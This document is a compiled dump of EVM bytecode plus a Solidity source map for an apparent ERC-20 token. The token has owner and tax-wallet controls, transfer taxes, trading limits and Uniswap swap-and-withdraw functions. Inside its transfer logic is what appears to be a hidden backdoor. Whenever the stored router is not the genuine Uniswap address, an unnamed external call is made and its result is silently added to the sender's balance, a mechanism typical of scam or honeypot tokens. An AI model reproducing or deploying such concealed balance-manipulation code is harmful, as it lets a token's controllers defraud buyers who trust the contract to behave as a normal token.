6040513d601f19601f820116820180604052508101906105ed9190611738565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d7194730610634816001600160a01b03165f9081526001602052604090205490565b5f806106475f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ad573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d29190611753565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610727573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074b919061177e565b50600d80546001600160a01b0319166001600160a01b0392909216919091179055600e805462ff00ff60a01b19166201000160a01b179055565b5f610791338484610a87565b5060015b92915050565b5f6107a86009600a611713565b6107b79064e8d4a51000611721565b905090565b5f6107c8848484610baa565b610814843361048385604051806060016040528060288152602001611895602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611059565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461083d575f80fd5b305f8181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af115801561089c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c0919061177e565b50565b6004546001600160a01b0316336001600160a01b0316146108e2575f80fd5b305f908152600160205260409020546108fa90611091565b565b5f546001600160a01b031633146109255760405162461bcd60e51b81526004016103f3906115ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109965760405162461bcd60e51b81526004016103f3906115ea565b6109a26009600a611713565b6109b19064e8d4a51000611721565b600a9081556109c290600990611713565b6109d19064e8d4a51000611721565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a016009600a611713565b610a109064e8d4a51000611721565b60405190815260200160405180910390a1565b5f610791338484610baa565b6004546001600160a01b0316336001600160a01b031614610a4e575f80fd5b60068110610a5a575f80fd5b600655565b6004546001600160a01b0316336001600160a01b031614610a7e575f80fd5b6108fa47611201565b6001600160a01b038316610ae95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f3565b6001600160a01b038216610b4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f3565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f3565b5f8111610cd15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f3565b5f80546001600160a01b03858116911614801590610cfc57505f546001600160a01b03848116911614155b15610f1157600e54600160a81b900460ff16610d4157610d3e6064610d3860075460095411610d2d57600554610d31565b6006545b859061123c565b906112c1565b90505b600e546001600160a01b038581169116148015610d6c5750600d546001600160a01b03848116911614155b8015610d9057506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7657600a54821115610de75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f3565b600b5482610e09856001600160a01b03165f9081526001602052604090205490565b610e13919061179d565b1115610e615760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f3565b60098054905f610e70836117b0565b91905055505b305f90815260016020526040902054600e54600160a81b900460ff16158015610ead5750600e546001600160a01b03868116911614155b8015610ec25750600e54600160b01b900460ff165b8015610ecf5750600c5481115b8015610ede5750600854600954115b15610f0f57610efd83600c5411610ef757600c54611091565b83611091565b478015610f0d57610f0d47611201565b505b505b8015610f8957305f90815260016020526040902054610f309082611302565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f809085815260200190565b60405180910390a35b610f94848484611360565b6001600160a01b0384165f90815260016020526040902054610fb6908361144d565b6001600160a01b0385165f90815260016020526040902055610ff9610fdb838361144d565b6001600160a01b0385165f9081526001602052604090205490611302565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611042858561144d565b60405190815260200160405180910390a350505050565b5f818484111561107c5760405162461bcd60e51b81526004016103f391906114ba565b505f61108884866117c8565b95945050505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110d7576110d76117db565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111529190611738565b81600181518110611165576111656117db565b6001600160a01b039283166020918202929092010152600d5461118b9130911684610a87565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c39085905f908690309042906004016117ef565b5f604051808303815f87803b1580156111da575f80fd5b505af11580156111ec573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611238573d5f803e3d5ffd5b5050565b5f825f0361124b57505f610795565b5f6112568385611721565b905082611263858361185e565b146112ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f3565b9392505050565b5f6112ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061148e565b5f8061130e838561179d565b9050838110156112ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f3565b600d546001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d0361138b57505050565b600d54604051630ccebe4f60e41b8152600481018390526001600160a01b03858116602483015284811660448301525f92169063ccebe4f0906064016020604051808303815f875af11580156113e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611407919061187d565b6001600160a01b0385165f9081526001602052604090205490915061142c9082611302565b6001600160a01b039094165f90815260016020526040902093909355505050565b5f6112ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611059565b5f81836114ae5760405162461bcd60e51b81526004016103f391906114ba565b505f611088848661185e565b5f6020808352835180828501525f5b818110156114e5578581018301518582016040015282016114c9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108c0575f80fd5b5f60208284031215611529575f80fd5b81356112ba81611505565b5f8060408385031215611545575f80fd5b823561155081611505565b946020939093013593505050565b5f805f60608486031215611570575f80fd5b833561157b81611505565b9250602084013561158b81611505565b929592945050506040919091013590565b5f80604083850312156115ad575f80fd5b82356115b881611505565b915060208301356115c881611505565b809150509250929050565b5f602082840312156115e3575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561166d57815f19048211156116535761165361161f565b8085161561166057918102915b93841c9390800290611638565b509250929050565b5f8261168357506001610795565b8161168f57505f610795565b81600181146116a557600281146116af576116cb565b6001915050610795565b60ff8411156116c0576116c061161f565b50506001821b610795565b5060208310610133831016604e8410600b84101617156116ee575081810a610795565b6116f88383611633565b805f190482111561170b5761170b61161f565b029392505050565b5f6112ba60ff841683611675565b80820281158282048414176107955761079561161f565b5f60208284031215611748575f80fd5b81516112ba81611505565b5f805f60608486031215611765575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561178e575f80fd5b815180151581146112ba575f80fd5b808201808211156107955761079561161f565b5f600182016117c1576117c161161f565b5060010190565b818103818111156107955761079561161f565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561183d5784516001600160a01b031683529383019391830191600101611818565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261187857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561188d575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071b3198989dc6a35bfc6f1da31df4f017e0b97ceef4649fc9ba8c6e5f072024864736f6c63430008140033

4083:7512:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5694:83;;;;;;;;;;-1:-1:-1;5764:5:0;;;;;;;;;;;;-1:-1:-1;;;5764:5:0;;;;5694:83;;;;;;;:::i;:::-;;;;;;;;10265:671;;;;;;;;;;-1:-1:-1;10265:671:0;;;;;:::i;:::-;;:::i;:::-;;6527:161;;;;;;;;;;-1:-1:-1;6527:161:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;6527:161:0;1275:187:1;5971:95:0;;;;;;;;;;;;;:::i;:::-;;;1613:25:1;;;1601:2;1586:18;5971:95:0;1467:177:1;6696:313:0;;;;;;;;;;-1:-1:-1;6696:313:0;;;;;:::i;:::-;;:::i;5880:83::-;;;;;;;;;;-1:-1:-1;5880:83:0;;4619:1;2252:36:1;;2240:2;2225:18;5880:83:0;2110:184:1;4916:40:0;;;;;;;;;;;;;;;;11423:169;;;;;;;;;;;;;:::i;11138:138::-;;;;;;;;;;;;;:::i;6074:119::-;;;;;;;;;;-1:-1:-1;6074:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6167:18:0;6140:7;6167:18;;;:9;:18;;;;;;;6074:119;2993:148;;;;;;;;;;;;;:::i;9998:159::-;;;;;;;;;;;;;:::i;4806:47::-;;;;;;;;;;;;;;;;2779:79;;;;;;;;;;-1:-1:-1;2817:7:0;2844:6;2779:79;;-1:-1:-1;;;;;2844:6:0;;;2445:51:1;;2433:2;2418:18;2779:79:0;2299:203:1;4860:49:0;;;;;;;;;;;;;;;;5785:87;;;;;;;;;;-1:-1:-1;5857:7:0;;;;;;;;;;;;-1:-1:-1;;;5857:7:0;;;;5785:87;;6201:167;;;;;;;;;;-1:-1:-1;6201:167:0;;;;;:::i;:::-;;:::i;6376:143::-;;;;;;;;;;-1:-1:-1;6376:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6484:18:0;;;6457:7;6484:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6376:143;10944:147;;;;;;;;;;-1:-1:-1;10944:147:0;;;;;:::i;:::-;;:::i;11284:131::-;;;;;;;;;;;;;:::i;10265:671::-;2906:6;;-1:-1:-1;;;;;2906:6:0;614:10;2906:22;2898:67;;;;-1:-1:-1;;;2898:67:0;;;;;;;:::i;:::-;;;;;;;;;10355:11:::1;::::0;-1:-1:-1;;;10355:11:0;::::1;;;10354:12;10346:47;;;::::0;-1:-1:-1;;;10346:47:0;;3648:2:1;10346:47:0::1;::::0;::::1;3630:21:1::0;3687:2;3667:18;;;3660:30;3726:25;3706:18;;;3699:53;3769:18;;10346:47:0::1;3446:347:1::0;10346:47:0::1;10436:15;::::0;10404:58:::1;::::0;10421:4:::1;::::0;-1:-1:-1;;;;;10436:15:0::1;4682:13;4619:1;4682:2;:13;:::i;:::-;4662:33;::::0;:17:::1;:33;:::i;:::-;10404:8;:58::i;:::-;10507:15;;;;;;;;;-1:-1:-1::0;;;;;10507:15:0::1;-1:-1:-1::0;;;;;10507:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10489:55:0::1;;10553:4;10560:15;;;;;;;;;-1:-1:-1::0;;;;;10560:15:0::1;-1:-1:-1::0;;;;;10560:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10489:94;::::0;-1:-1:-1;;;;;;10489:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;10489:94:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;10489:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10473:13;:110:::0;;-1:-1:-1;;;;;10473:110:0;;::::1;-1:-1:-1::0;;;;;;10473:110:0;;::::1;;::::0;;10594:15:::1;::::0;::::1;:31;10633:21;10664:4;10670:24;10664:4:::0;-1:-1:-1;;;;;6167:18:0;6140:7;6167:18;;;:9;:18;;;;;;;6074:119;10670:24:::1;10695:1;10697::::0;10699:7:::1;2817::::0;2844:6;-1:-1:-1;;;;;2844:6:0;;2779:79;10699:7:::1;10594:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10594:129:0;;;-1:-1:-1;;;;;6410:15:1;;;10594:129:0::1;::::0;::::1;6392:34:1::0;6442:18;;;6435:34;;;;6485:18;;;6478:34;;;;6528:18;;;6521:34;6592:15;;;6571:19;;;6564:44;10707:15:0::1;6624:19:1::0;;;6617:35;6326:19;;10594:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10741:13:0::1;::::0;10772:15:::1;::::0;10734:71:::1;::::0;-1:-1:-1;;;10734:71:0;;-1:-1:-1;;;;;10772:15:0;;::::1;10734:71;::::0;::::1;7148:51:1::0;-1:-1:-1;;7215:18:1;;;7208:34;10741:13:0;::::1;::::0;-1:-1:-1;10734:29:0::1;::::0;7121:18:1;;10734:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10816:15:0::1;:54:::0;;-1:-1:-1;;;;;;10816:54:0::1;-1:-1:-1::0;;;;;10816:54:0;;;::::1;::::0;;;::::1;::::0;;10881:11:::1;:18:::0;;-1:-1:-1;;;;10910:18:0;-1:-1:-1;;;10910:18:0;;;10265:671::o;6527:161::-;6602:4;6619:39;614:10;6642:7;6651:6;6619:8;:39::i;:::-;-1:-1:-1;6676:4:0;6527:161;;;;;:::o;5971:95::-;6024:7;4682:13;4619:1;4682:2;:13;:::i;:::-;4662:33;;:17;:33;:::i;:::-;6044:14;;5971:95;:::o;6696:313::-;6794:4;6811:36;6821:6;6829:9;6840:6;6811:9;:36::i;:::-;6858:121;6867:6;614:10;6889:89;6927:6;6889:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6889:19:0;;;;;;:11;:19;;;;;;;;614:10;6889:33;;;;;;;;;;:37;:89::i;6858:121::-;-1:-1:-1;6997:4:0;6696:313;;;;;:::o;11423:169::-;11494:10;;-1:-1:-1;;;;;11494:10:0;614;-1:-1:-1;;;;;11478:26:0;;11470:35;;;;;;11531:4;6140:7;6167:18;;;:9;:18;;;;;;11516:30;;11547:10;;11516:68;;-1:-1:-1;;;;;;11516:68:0;;;;;;;-1:-1:-1;;;;;7166:32:1;;;11516:68:0;;;7148:51:1;7215:18;;;7208:34;7121:18;;11516:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11423:169::o;11138:138::-;11204:10;;-1:-1:-1;;;;;11204:10:0;614;-1:-1:-1;;;;;11188:26:0;;11180:35;;;;;;11261:4;6140:7;6167:18;;;:9;:18;;;;;;11226:42;;:16;:42::i;:::-;11138:138::o;2993:148::-;2906:6;;-1:-1:-1;;;;;2906:6:0;614:10;2906:22;2898:67;;;;-1:-1:-1;;;2898:67:0;;;;;;;:::i;:::-;3100:1:::1;3084:6:::0;;3063:40:::1;::::0;-1:-1:-1;;;;;3084:6:0;;::::1;::::0;3063:40:::1;::::0;3100:1;;3063:40:::1;3131:1;3114:19:::0;;-1:-1:-1;;;;;;3114:19:0::1;::::0;;2993:148::o;9998:159::-;2906:6;;-1:-1:-1;;;;;2906:6:0;614:10;2906:22;2898:67;;;;-1:-1:-1;;;2898:67:0;;;;;;;:::i;:::-;4682:13:::1;4619:1;4682:2;:13;:::i;:::-;4662:33;::::0;:17:::1;:33;:::i;:::-;10051:12;:22:::0;;;4682:13:::1;::::0;4619:1:::1;::::0;4682:13:::1;:::i;:::-;4662:33;::::0;:17:::1;:33;:::i;:::-;10084:14;:22:::0;10122:27:::1;4682:13;4619:1;4682:2;:13;:::i;:::-;4662:33;::::0;:17:::1;:33;:::i;:::-;10122:27;::::0;1613:25:1;;;1601:2;1586:18;10122:27:0::1;;;;;;;9998:159::o:0;6201:167::-;6279:4;6296:42;614:10;6320:9;6331:6;6296:9;:42::i;10944:147::-;11019:10;;-1:-1:-1;;;;;11019:10:0;614;-1:-1:-1;;;;;11005:24:0;;10997:33;;;;;;11055:1;11047:7;:9;11039:18;;;;;;11066:9;:17;10944:147::o;11284:131::-;11350:10;;-1:-1:-1;;;;;11350:10:0;614;-1:-1:-1;;;;;11334:26:0;;11326:35;;;;;;11372;11385:21;11372:12;:35::i;7017:335::-;-1:-1:-1;;;;;7110:19:0;;7102:68;;;;-1:-1:-1;;;7102:68:0;;7737:2:1;7102:68:0;;;7719:21:1;7776:2;7756:18;;;7749:30;7815:34;7795:18;;;7788:62;-1:-1:-1;;;7866:18:1;;;7859:34;7910:19;;7102:68:0;7535:400:1;7102:68:0;-1:-1:-1;;;;;7189:21:0;;7181:68;;;;-1:-1:-1;;;7181:68:0;;8142:2:1;7181:68:0;;;8124:21:1;8181:2;8161:18;;;8154:30;8220:34;8200:18;;;8193:62;-1:-1:-1;;;8271:18:1;;;8264:32;8313:19;;7181:68:0;7940:398:1;7181:68:0;-1:-1:-1;;;;;7260:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7312:32;;1613:25:1;;;7312:32:0;;1586:18:1;7312:32:0;;;;;;;7017:335;;;:::o;7360:1729::-;-1:-1:-1;;;;;7448:18:0;;7440:68;;;;-1:-1:-1;;;7440:68:0;;8545:2:1;7440:68:0;;;8527:21:1;8584:2;8564:18;;;8557:30;8623:34;8603:18;;;8596:62;-1:-1:-1;;;8674:18:1;;;8667:35;8719:19;;7440:68:0;8343:401:1;7440:68:0;-1:-1:-1;;;;;7527:16:0;;7519:64;;;;-1:-1:-1;;;7519:64:0;;8951:2:1;7519:64:0;;;8933:21:1;8990:2;8970:18;;;8963:30;9029:34;9009:18;;;9002:62;-1:-1:-1;;;9080:18:1;;;9073:33;9123:19;;7519:64:0;8749:399:1;7519:64:0;7611:1;7602:6;:10;7594:64;;;;-1:-1:-1;;;7594:64:0;;9355:2:1;7594:64:0;;;9337:21:1;9394:2;9374:18;;;9367:30;9433:34;9413:18;;;9406:62;-1:-1:-1;;;9484:18:1;;;9477:39;9533:19;;7594:64:0;9153:405:1;7594:64:0;7669:17;2844:6;;-1:-1:-1;;;;;7703:15:0;;;2844:6;;7703:15;;;;:32;;-1:-1:-1;2817:7:0;2844:6;-1:-1:-1;;;;;7722:13:0;;;2844:6;;7722:13;;7703:32;7699:996;;;7756:6;;-1:-1:-1;;;7756:6:0;;;;7752:123;;7792:67;7855:3;7792:58;7814:12;;7804:9;;:22;7803:46;;7838:11;;7803:46;;;7828:9;;7803:46;7792:6;;:10;:58::i;:::-;:62;;:67::i;:::-;7780:79;;7752:123;7903:13;;-1:-1:-1;;;;;7895:21:0;;;7903:13;;7895:21;:55;;;;-1:-1:-1;7934:15:0;;-1:-1:-1;;;;;7920:30:0;;;7934:15;;7920:30;;7895:55;:83;;;;-1:-1:-1;;;;;;7956:22:0;;;;;;:18;:22;;;;;;;;7954:24;7895:83;7891:313;;;8018:12;;8008:6;:22;;8000:60;;;;-1:-1:-1;;;8000:60:0;;9765:2:1;8000:60:0;;;9747:21:1;9804:2;9784:18;;;9777:30;9843:27;9823:18;;;9816:55;9888:18;;8000:60:0;9563:349:1;8000:60:0;8113:14;;8103:6;8087:13;8097:2;-1:-1:-1;;;;;6167:18:0;6140:7;6167:18;;;:9;:18;;;;;;;6074:119;8087:13;:22;;;;:::i;:::-;:40;;8079:79;;;;-1:-1:-1;;;8079:79:0;;10249:2:1;8079:79:0;;;10231:21:1;10288:2;10268:18;;;10261:30;10327:28;10307:18;;;10300:56;10373:18;;8079:79:0;10047:350:1;8079:79:0;8177:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7891:313;8269:4;8220:28;6167:18;;;:9;:18;;;;;;8295:6;;-1:-1:-1;;;8295:6:0;;;;8294:7;:32;;;;-1:-1:-1;8313:13:0;;-1:-1:-1;;;;;8305:21:0;;;8313:13;;8305:21;;8294:32;:47;;;;-1:-1:-1;8330:11:0;;-1:-1:-1;;;8330:11:0;;;;8294:47;:80;;;;;8366:8;;8345:20;:29;8294:80;:112;;;;;8388:18;;8378:9;;:28;8294:112;8290:394;;;8427:49;8453:6;8444:8;;:15;:31;;8467:8;;11226:16;:42::i;8444:31::-;8460:6;8427:16;:49::i;:::-;8524:21;8567:22;;8564:105;;8614:35;8627:21;8614:12;:35::i;:::-;8408:276;8290:394;7737:958;7699:996;8710:11;;8707:161;;8778:4;8760:24;;;;:9;:24;;;;;;:39;;8789:9;8760:28;:39::i;:::-;8753:4;8735:24;;;;:9;:24;;;;;;;:64;;;;8817:39;;-1:-1:-1;;;;;8817:39:0;;;;;;;8846:9;1613:25:1;;1601:2;1586:18;;1467:177;8817:39:0;;;;;;;;8707:161;8878:27;8888:4;8894:2;8898:6;8878:9;:27::i;:::-;-1:-1:-1;;;;;8932:15:0;;;;;;:9;:15;;;;;;:27;;8952:6;8932:19;:27::i;:::-;-1:-1:-1;;;;;8916:15:0;;;;;;:9;:15;;;;;:43;8984:40;9002:21;:6;9013:9;9002:10;:21::i;:::-;-1:-1:-1;;;;;8984:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8970:13:0;;;;;;;:9;:13;;;;;:54;;;;9040:41;;;9059:21;:6;9070:9;9059:10;:21::i;:::-;9040:41;;1613:25:1;;;1601:2;1586:18;9040:41:0;;;;;;;7429:1660;7360:1729;;;:::o;1671:190::-;1757:7;1793:12;1785:6;;;;1777:29;;;;-1:-1:-1;;;1777:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1817:9:0;1829:5;1833:1;1829;:5;:::i;:::-;1817:17;1671:190;-1:-1:-1;;;;;1671:190:0:o;9507:483::-;5303:6;:13;;-1:-1:-1;;;;5303:13:0;-1:-1:-1;;;5303:13:0;;;9609:16:::1;::::0;;9623:1:::1;9609:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9609:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9609:16:0::1;9585:40;;9654:4;9636;9641:1;9636:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9636:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9680:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9680:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9636:7;;9680:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9670:4;9675:1;9670:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9670:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9745:15:::1;::::0;9713:62:::1;::::0;9730:4:::1;::::0;9745:15:::1;9763:11:::0;9713:8:::1;:62::i;:::-;9786:15;::::0;:196:::1;::::0;-1:-1:-1;;;9786:196:0;;-1:-1:-1;;;;;9786:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9867:11;;9786:15:::1;::::0;9909:4;;9936::::1;::::0;9956:15:::1;::::0;9786:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5339:6:0;:14;;-1:-1:-1;;;;5339:14:0;;;-1:-1:-1;;;;9507:483:0:o;10165:92::-;10222:10;;:27;;-1:-1:-1;;;;;10222:10:0;;;;:27;;;;;10242:6;;10222:10;:27;:10;:27;10242:6;10222:10;:27;;;;;;;;;;;;;;;;;;;;;10165:92;:::o;1869:246::-;1927:7;1951:1;1956;1951:6;1947:47;;-1:-1:-1;1981:1:0;1974:8;;1947:47;2004:9;2016:5;2020:1;2016;:5;:::i;:::-;2004:17;-1:-1:-1;2049:1:0;2040:5;2044:1;2004:17;2040:5;:::i;:::-;:10;2032:56;;;;-1:-1:-1;;;2032:56:0;;12348:2:1;2032:56:0;;;12330:21:1;12387:2;12367:18;;;12360:30;12426:34;12406:18;;;12399:62;-1:-1:-1;;;12477:18:1;;;12470:31;12518:19;;2032:56:0;12146:397:1;2032:56:0;2106:1;1869:246;-1:-1:-1;;;1869:246:0:o;2123:132::-;2181:7;2208:39;2212:1;2215;2208:39;;;;;;;;;;;;;;;;;:3;:39::i;1340:179::-;1398:7;;1430:5;1434:1;1430;:5;:::i;:::-;1418:17;;1459:1;1454;:6;;1446:46;;;;-1:-1:-1;;;1446:46:0;;12750:2:1;1446:46:0;;;12732:21:1;12789:2;12769:18;;;12762:30;12828:29;12808:18;;;12801:57;12875:18;;1446:46:0;12548:351:1;9097:402:0;9194:15;;-1:-1:-1;;;;;9194:15:0;9214:42;9186:70;9182:83;;9097:402;;;:::o;9182:83::-;9295:15;;:139;;-1:-1:-1;;;9295:139:0;;;;;13106:25:1;;;-1:-1:-1;;;;;13205:15:1;;;13185:18;;;13178:43;13257:15;;;13237:18;;;13230:43;9275:17:0;;9295:15;;:66;;13079:18:1;;9295:139:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9461:15:0;;;;;;:9;:15;;;;;;9275:159;;-1:-1:-1;9461:30:0;;9275:159;9461:19;:30::i;:::-;-1:-1:-1;;;;;9445:15:0;;;;;;;:9;:15;;;;;:46;;;;-1:-1:-1;;;9097:402:0:o;1527:136::-;1585:7;1612:43;1616:1;1619;1612:43;;;;;;;;;;;;;;;;;:3;:43::i;2263:189::-;2349:7;2384:12;2377:5;2369:28;;;;-1:-1:-1;;;2369:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2408:9:0;2420:5;2424:1;2420;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:247;762:6;815:2;803:9;794:7;790:23;786:32;783:52;;;831:1;828;821:12;783:52;870:9;857:23;889:31;914:5;889:31;:::i;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:180::-;2959:6;3012:2;3000:9;2991:7;2987:23;2983:32;2980:52;;;3028:1;3025;3018:12;2980:52;-1:-1:-1;3051:23:1;;2900:180;-1:-1:-1;2900:180:1:o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;3798:127::-;3859:10;3854:3;3850:20;3847:1;3840:31;3890:4;3887:1;3880:15;3914:4;3911:1;3904:15;3930:422;4019:1;4062:5;4019:1;4076:270;4097:7;4087:8;4084:21;4076:270;;;4156:4;4152:1;4148:6;4144:17;4138:4;4135:27;4132:53;;;4165:18;;:::i;:::-;4215:7;4205:8;4201:22;4198:55;;;4235:16;;;;4198:55;4314:22;;;;4274:15;;;;4076:270;;;4080:3;3930:422;;;;;:::o;4357:806::-;4406:5;4436:8;4426:80;;-1:-1:-1;4477:1:1;4491:5;;4426:80;4525:4;4515:76;;-1:-1:-1;4562:1:1;4576:5;;4515:76;4607:4;4625:1;4620:59;;;;4693:1;4688:130;;;;4600:218;;4620: